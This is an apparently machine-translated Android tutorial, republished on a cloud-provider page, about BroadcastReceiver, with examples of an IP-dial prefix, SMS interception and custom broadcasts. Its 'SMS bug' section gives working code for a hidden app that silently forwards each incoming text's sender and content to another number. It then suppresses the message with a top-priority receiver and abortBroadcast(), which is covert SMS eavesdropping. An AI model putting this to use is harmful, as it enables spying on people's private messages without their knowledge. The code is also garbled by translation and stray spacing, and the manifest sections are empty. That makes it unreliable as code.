Broadcast BroadcastReceiver in Android

Source: Internet
Author: User

Broadcast BroadcastReceiver in Android
I. IP dial

Activity_main.xml file:

There is only one text box that inputs an ip address and one save button,

 

     
  
   
  
 

MainActivity. java

 

Click the Save button and run the program to save the Entered ip number as SharedPreferences locally,

 

Package com. itheima. ipdail; import android. OS. bundle; import android. app. activity; import android. content. sharedPreferences; import android. content. sharedPreferences. editor; import android. view. menu; import android. view. view; import android. widget. editText; import android. widget. toast; public class MainActivity extends Activity {private EditText et_ipnumber; private SharedPreferences sp; @ Override protected void onCreate (Bundle savedInstanceState) {super. onCreate (savedInstanceState); setContentView (R. layout. activity_main); sp = getSharedPreferences ("config", MODE_PRIVATE); et_ipnumber = (EditText) findViewById (R. id. et_ipnumber);}/*** Click Event corresponding to the save button * @ param view */public void save (View view) {String ipnumber = et_ipnumber.getText (). toString (). trim (); Editor editor = sp. edit (); editor. putString ("ipnumber", ipnumber); editor. commit (); Toast. makeText (this, "the ip number is saved", 0 ). show ();}}

Outcallcycler. java

 

Broadcast recipient: When an outbound call arrives, the IP number is extracted from the local SharedPreferences, and then spliced with the outbound call number into a new string to display the early dialing interface,

 

Package com. itheima. ipdail; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. content. sharedPreferences; import android. util. log;/*** broadcast receiver. This message will be processed when an outbound call arrives. **/public class OutCallReceiver extends BroadcastReceiver {private static final String TAG = "OutCallReceiver "; private SharedPreferences sp;/*** method called when the broadcast receiver receives a broadcast event */@ Ove Rridepublic void onReceive (Context context, Intent intent) {String number = getResultData (); Log. I (TAG, "a new phone is called. Phone number: "+ number); sp = context. getSharedPreferences ("config", Context. MODE_PRIVATE); String ipnumber = sp. getString ("ipnumber", ""); setResultData (ipnumber + number );}}

Do not forget to add it to the AndroidManifest. xml file,

 

 

 
 
         
             
                              
          
 

Result:

 

 

 

Ii. SMS bug

 

MainActivity. java

package com.itheima.smslistener;import android.os.Bundle;import android.app.Activity;import android.view.Menu;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);finish();}}

SmsReceiver. java

5556-> 5554 send text messages and use the broadcast receiver to retrieve the text message content

 

Package com. itheima. smslistener; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. telephony. smsManager; import android. telephony. smsMessage; import android. util. log; public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver"; @ Overridepublic void onReceive (Context context, Intent intent) {Log. I (T AG, "a new text message is coming. "); Object [] objs = (Object []) intent. getExtras (). get ("pdus"); for (Object obj: objs) {SmsMessage smsmsmessage = smsMessage. createFromPdu (byte []) obj); String sender = smsMessage. getOriginatingAddress (); String body = smsMessage. getMessageBody (); Log. I (TAG, "SMS sender:" + sender); Log. I (TAG, "text message content:" + body );}}}

 

 

When SmsReceiver. java is changed to the following:

Simulate sending SMS messages from 5558 to 5554. After receiving SMS messages from 5554, the system automatically sends SMS messages to 5556 to enable SMS eavesdropping,

 

Package com. itheima. smslistener; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. telephony. smsManager; import android. telephony. smsMessage; import android. util. log; public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver"; @ Overridepublic void onReceive (Context context, Intent intent) {Log. I (T AG, "a new text message is coming. "); Object [] objs = (Object []) intent. getExtras (). get ("pdus"); for (Object obj: objs) {SmsMessage smsmsmessage = smsMessage. createFromPdu (byte []) obj); String sender = smsMessage. getOriginatingAddress (); String body = smsMessage. getMessageBody (); Log. I (TAG, "SMS sender:" + sender); Log. I (TAG, "text message content:" + body); SmsManager smsManager = SmsManager. getDefault (); smsManager. sendTextMessage ("5556", null, sender + "--" + body, null, null );}}}

 

 

 

When SmsReceiver. java is changed to the following:

5558-> 5554 send SMS,

Package com. itheima. smslistener; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. telephony. smsManager; import android. telephony. smsMessage; import android. util. log; public class SmsReceiver extends BroadcastReceiver {private static final String TAG = "SmsReceiver"; @ Overridepublic void onReceive (Context context, Intent intent) {Log. I (T AG, "a new text message is coming. "); Object [] objs = (Object []) intent. getExtras (). get ("pdus"); for (Object obj: objs) {SmsMessage smsmsmessage = smsMessage. createFromPdu (byte []) obj); String sender = smsMessage. getOriginatingAddress (); String body = smsMessage. getMessageBody (); Log. I (TAG, "SMS sender:" + sender); Log. I (TAG, "text message content:" + body); SmsManager smsManager = SmsManager. getDefault (); smsManager. sendTextMessage ("5556", null, sender + "--" + body, nu Ll, null); // terminate the message broadcast event. AbortBroadcast ();}}}
Add in AndroidManifest. xml file,
             
                              
          
 
 
  
 

Because the broadcast receiver has a priority of 1000 and the highest priority, and the broadcast receives a broadcast event that terminates the short message, 5554 of the messages are sent,

However, 5556 can receive a text message because the message was forwarded to 5556 before the broadcast event was terminated,

 

 

3. Custom broadcast receiver 1. Custom send Broadcast

 

The acticity_main.xml file is,

 

 
  
 

 

The MainActivity. java file is,

 

package com.itheima.sendbroadcast;import android.app.Activity;import android.content.Intent;import android.os.Bundle;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}public void send(View view){Intent intent = new Intent("com.itheima.sendbroadcast.demo");sendBroadcast(intent);}}

2. Custom broadcast Receiver

 

The acticity_main.xml file is empty,

MainActivity. java file is empty,


The MyBroadcastReceiver. java file is,

 

Package com. itheima. mycycler; import android. content. broadcastReceiver; import android. content. context; import android. content. intent; import android. widget. toast; public class MyBroadcastReceiver extends BroadcastReceiver {@ Overridepublic void onReceive (Context context, Intent intent) {Toast. makeText (context, "I am a custom broadcast receiver, I have received a custom message", 0 ). show ();}}

Add the following to the AndroidMainfest. xml file,

 

 

         
             
                              
          
 


 


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.